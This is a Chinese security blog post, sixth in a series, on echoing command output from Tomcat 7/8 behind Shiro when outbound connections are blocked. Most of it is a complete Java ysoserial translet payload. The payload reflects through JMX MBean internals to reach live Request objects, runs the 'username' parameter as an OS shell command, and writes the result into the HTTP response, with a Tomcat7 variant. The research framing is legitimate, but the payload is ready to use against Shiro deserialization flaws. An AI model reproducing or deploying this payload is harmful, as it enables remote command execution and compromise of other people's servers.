tomcat不出网回显连续剧第六集
字数 1472 2025-08-20 18:17:47
Tomcat不出网回显技术研究 - 第六集:解决Tomcat7+Shiro环境下的回显问题
前情回顾
本文是"Tomcat不出网回显"系列文章的第六集,总结了前人关于Tomcat回显和无文件Webshell的研究成果:
- 观星的文章:通杀Spring框架,解决实战中大部分情况
- Tomcat中一种半通用回显方法:通过反射修改ApplicationFilterChain参数缓存req和resp,但Shiro环境下无法回显
- 基于tomcat的内存Webshell无文件攻击技术:获取req后进一步获取context并动态注册filter,同样无法在Shiro环境下回显
- 基于全局储存的新思路:通过
currentThread.getContextClassLoader()获取StandardContext进而获取response,解决了Shiro回显问题,但不支持Tomcat7 - 基于Tomcat无文件Webshell研究:总结上述方法,但仍无法解决Tomcat7+Shiro的组合问题
新解决方案:通过MBean获取RequestProcessor
核心思路
研究发现RequestProcessor(RP)对象会被注册到全局存储中,通过JMX MBean机制可以获取到这些对象。具体步骤:
- 通过JMX MBeanServer获取Tomcat的MBean
- 找到包含Request对象的RequestProcessor
- 从RequestProcessor中提取Request和Response对象
技术细节
Tomcat版本差异
- Tomcat7:MBean名称为
name="http-bio-8888",type=GlobalRequestProcessor - Tomcat8:MBean名称为
name="http-nio-8888",type=GlobalRequestProcessor
其中8888是Tomcat服务端口,bio/nio代表不同的I/O模型。
实现流程
- 获取MBeanServer实例
- 通过反射获取MBeanServer内部的repository
- 从repository中获取Catalina域的MBean
- 找到GlobalRequestProcessor类型的MBean
- 获取其中的RequestGroupInfo对象
- 遍历processors列表获取RequestInfo对象
- 从RequestInfo中提取Request对象
代码实现
Tomcat8实现
package ysoserial;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.coyote.Request;
import org.apache.tomcat.util.buf.ByteChunk;
import org.apache.tomcat.util.modeler.Registry;
import javax.management.MBeanServer;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Scanner;
public class tomcat82 extends AbstractTranslet {
public tomcat82() {
try{
// 获取MBeanServer
MBeanServer mbeanServer = Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
// 通过反射获取MBeanServer内部的repository
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
obj = field.get(obj);
// 获取Catalina域的MBean
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap obj2 = (HashMap)field.get(obj);
obj = ((HashMap)obj2.get("Catalina")).get("name=\"http-nio-8888\",type=GlobalRequestProcessor");
// 获取RequestGroupInfo对象
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
obj = field.get(obj);
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(obj);
// 获取processors列表
field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
field.setAccessible(true);
ArrayList obj3 = (ArrayList)field.get(obj);
// 获取Request对象
field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
field.setAccessible(true);
// 执行命令并回显
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
for (int i = 0; i < obj3.size(); i++) {
Request obj4 = (Request) field.get(obj3.get(i));
String username = obj4.getParameters().getParameter("username");
if(username != null){
String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c", username};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = "";
while (s.hasNext()){
output += s.next();
}
byte[] buf = output.getBytes();
ByteChunk bc = new ByteChunk();
bc.setBytes(buf, 0, buf.length);
obj4.getResponse().doWrite(bc);
break;
}
}
} catch (Exception e){
}
}
// ... 其他必要方法
}
Tomcat7实现
Tomcat7的实现与Tomcat8类似,主要区别在于MBean名称中的"bio"而非"nio":
obj = ((HashMap)obj2.get("Catalina")).get("name=\"http-bio-8888\",type=GlobalRequestProcessor");
注意事项
- 多请求环境处理:在生产环境中可能有多个RequestProcessor,需要遍历所有processor找到当前请求对应的那个
- Payload体积优化:可以使用长亭师傅提供的修改header头的方法或参考"缩小ysoserial payload体积的几个方法"
- 实际测试:已在Tomcat7+shiro-simple-web环境下成功复现
总结
本方案通过JMX MBean机制获取Tomcat内部的RequestProcessor对象,解决了Tomcat7+Shiro环境下的回显问题。相比之前的方法:
- 优点:支持Tomcat7+Shiro组合场景
- 缺点:需要根据Tomcat版本调整MBean名称(bio/nio)
扩展思考
Tomcat中还有许多其他MBean可能包含有用的信息,值得进一步探索和研究。